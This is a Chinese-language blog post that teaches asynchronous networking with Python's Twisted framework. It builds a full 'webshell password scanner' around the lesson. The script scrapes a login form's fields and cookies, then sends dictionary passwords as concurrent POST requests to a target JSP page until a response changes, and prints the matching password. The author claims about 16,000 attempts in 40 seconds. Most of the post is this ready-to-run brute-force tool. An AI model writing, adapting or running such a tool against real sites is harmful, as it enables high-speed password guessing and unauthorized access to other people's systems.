`

python中利用twisted的异步通信和微线程 实现webshell密码扫描器

 
阅读更多

  好久没写blog了,到了暑假时间充裕了,打算好好写几篇,

    ps:最近blog访问量大了不少,一看全是去看struts2漏洞的...

 

 

好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。

 

 

     iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。

 

    同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。

     异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。

 

 

      具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术

1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser

 

2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下

            cj = cookielib.CookieJar()
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
            resp = opener.open(req, timeout=60)  
          
            strlist = resp.read()

 代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典

 

3.异步的页面请求,这里用了twisted的getpage片段如下:

        self.PostDATA[self.passw] = passl
            #print temp
        zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
        zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) 
 
 可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)

以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass

 

4.协程并发,代码如下:

    def InitTask(self):
        for passl in self.passlist[:]:
            d = self.addURL(passl)
            yield d

def DoTask(self):
        deferreds = []
        coop = task.Cooperator()
        work = self.InitTask()
        for i in xrange(self.ThreadNum):
            d = coop.coiterate(work)
            deferreds.append(d)
        dl = defer.DeferredList(deferreds)
 

就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个

 

# -*- coding: utf-8 -*-
#coding=utf-8


#
#
# code by icefish
# http://insight-labs.org/
# http://wcf1987.iteye.com/
#
from twisted.internet import iocpreactor
iocpreactor.install()
from twisted.web.client import getPage
from twisted.internet import defer, task
from twisted.internet import reactor
import os
from httplib import HTTPConnection
import urllib   
import urllib2   
import sys
import cookielib
import time   
import threading
from Queue import LifoQueue
#import httplib2
from sgmllib import SGMLParser 
import os
from httplib import HTTPConnection
import urllib   
import urllib2   
import sys
import cookielib
import time   
import threading
from Queue import LifoQueue
from sgmllib import SGMLParser 

class URLLister(SGMLParser): 
    def __init__(self):
        SGMLParser.__init__(self)
        self.input = {}
    def start_input(self, attrs): 
        #print attrs
        
        for k, v in attrs:
            if k == 'type':
                type = v
            if k == 'name':
                name = v
            if k == 'value':
                value = v
        if type == 'hidden' and value != None:
            self.input[name] = value
        if type == 'password' :
            self.input['icekey'] = name

class webShellPassScan(object):
    def __init__(self, url, dict):
        self.url = url
        self.ThreadNum = 10
        self.dict = dict
    def getInput(self, url):
        html, c = self.PostUrl(url, '')
        parse = URLLister()
        parse.feed(html)
        return parse.input
        
    def PostUrl(self, url, bodyfieleds):
        try:    
    
            cj = cookielib.CookieJar()
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
            resp = opener.open(req, timeout=60)  
          
            strlist = resp.read()
            cookies = []
            for c in cj:
                cookies.append(c.name + '=' + c.value)
            
            return strlist, cookies
        except :
    
            return ''
        

    def parse_page(self, data, url, passk):
        #print url
        
        self.TestNum = self.TestNum + 1
        if data != self.sret and len(data) != 0 and data != 'iceerror':
            self.timeEnd = time.time()
            print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
            print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
            print 'total Scan Passwords:' + str(self.TestNum)
            print "*************************the key pass***************************\n"
            print passk 
            print "*************************the key pass***************************\n"
            reactor.stop()
                    
                    
            
        if self.TestNum % 1000 == 0:
                    #print TestNum
                    sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
                    sys.stdout.flush()


    def fetch_error(self, error, url, passl):
        self.addURL(passl)
    def run(self):

            self.timeStart = 0
            self.timeEnd = 0
            self.TestNum = 0
            self.sret = ''
            print '\n\ndetect the WebShell URL:' + self.url
            self.PassNum = 0
    
            self.timeStart = time.time()
            print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
            filepath = os.path.abspath(os.curdir)
            file = open(filepath + "\\" + self.dict)
            self.passlist = []
            
            for lines in file:           
                self.passlist.append(lines.strip())
                #print lines.strip() 
            file.close()
            PassNum = len(self.passlist)
            print 'get passwords num:' + str(PassNum)
            
            inputdic = self.getInput(self.url)
            self.passw = inputdic['icekey']
            del inputdic['icekey']
            self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
            self.sret, cookies = self.PostUrl(self.url, self.PostDATA) 
            self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
            self.headers['cookies'] = cookies
            print 'cookies:' + str(cookies)
            
            self.DoTask()
            #self.DoTask2()
            #self.DoTask3()
            print 'start run'
            self.key = 'start'
            reactor.run()
            
    def InitTask(self):
        for passl in self.passlist[:]:
            d = self.addURL(passl)
            yield d
        

    def InitTask2(self):
        for passl in self.passlist[:]:
            d = self.sem.run(self.addURL, passl)
            self.deferreds.append(d)
            
    def InitTask3(self):
        for passl in self.passlist[:]:
            d = self.addURL(passl)            
            self.deferreds.append(d)

    def DoTask(self):
        deferreds = []
        coop = task.Cooperator()
        work = self.InitTask()
        for i in xrange(self.ThreadNum):
            d = coop.coiterate(work)
            deferreds.append(d)
        dl = defer.DeferredList(deferreds)
        #dl.addErrback(self.errorCall)
        #dl.addCallback(self.finish)
        
    def DoTask2(self):
        
        self.deferreds = []
        self.sem = defer.DeferredSemaphore(self.ThreadNum)
        self.InitTask2()
        dl = defer.DeferredList(self.deferreds)

        
    def DoTask3(self):
        
        
        self.deferreds = []

        self.InitTask3()
        dl = defer.DeferredList(self.deferreds)
       
    def addURL(self, passl):
        
        self.PostDATA[self.passw] = passl
            #print temp
        zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
        zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) 
    
        return zs


a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
a.run()
 
 
分享到:
评论

相关推荐

    利用Python的Twisted框架实现webshell密码扫描器的教程

    主要介绍了利用Python的Twisted框架实现webshell密码扫描器的教程,用到了Twisted框架的异步通信机制,需要的朋友可以参考下

    Twisted与异步编程入门

    Twisted与异步编程入门,最好的入门资源。

    python多线程库Twisted

    python多线程库Twisted,许多python库都以来twisted,但是用pip很难安装成功,可以下载后直接用pip install twisted来安装。

    Twisted系列教程.pdf

    第一部分:Twisted理论基础 第二部分:异步编程初探与reactor模式 第三部分:初步认识Twisted 第四部分:由Twisted...第二十部分:轮子中的轮子: Twisted和Erlang 第二十一部分:惰性不是迟缓: Twisted和Haskell

    Python Twisted模块 10.2.0

    Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0

    python3-Twisted

    python3,Windows平台安装scrapy框架报错需要安装Twisted

    python如何通过twisted实现数据库异步插入

    主要为大家详细介绍了python如何通过twisted实现数据库异步插入,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

    python twisted zope.interface

    python twisted framework zope interface python twisted framework zope interface python twisted framework zope interface

    python twisted 简单服务器

    python twisted 简单服务器,服务器接收客户端发送的相应的信息,根据信息进行相应的返回数据

    python twisted

    python twisted 框架 需要zope.interface python twisted 框架 需要zope.interface

    适合python3.8的Twisted

    win64位操作系统,python3.8,亲测有效! 文件名:Twisted-19.10.0-cp38-cp38-win_amd64

    Python twisted教程

    最近有人在twisted邮件列表中问有没有一个可以让人快速学习twisted的文档.总体的来说:这个系列不是这样的一个文档.如果你没有很多时间或者耐心的话,这个系列的文章不太适合你. 不过,如果你对异步编程了解很少的话,...

    Python+Twisted安装套件

    Python是一门非常强悍的脚本级语言 这是Python+Twisted+Win7安装套件 安装配置环境详见博文: http://blog.csdn.net/geek4it/article/details/8138680

    twisted 异步教程 中文版

    twisted 异步教程,比较全面的介绍了twisted框架,中文版本

    python3.4配套的twisted

    python3.4配套的twisted,安装scrapy需要安装twisted,此版本对应python3.4

    Python库 | twisted_fate-0.1.1.tar.gz

    资源分类:Python库 所属语言:Python 资源全名:twisted_fate-0.1.1.tar.gz 资源来源:官方 安装方法:https://lanzao.blog.csdn.net/article/details/101784059

    python twisted server端例子

    python twisted框架 服务器端 示例

    Python Twisted

    Twisted是用Python实现的基于事件驱动的网络引擎框架。

Global site tag (gtag.js) - Google Analytics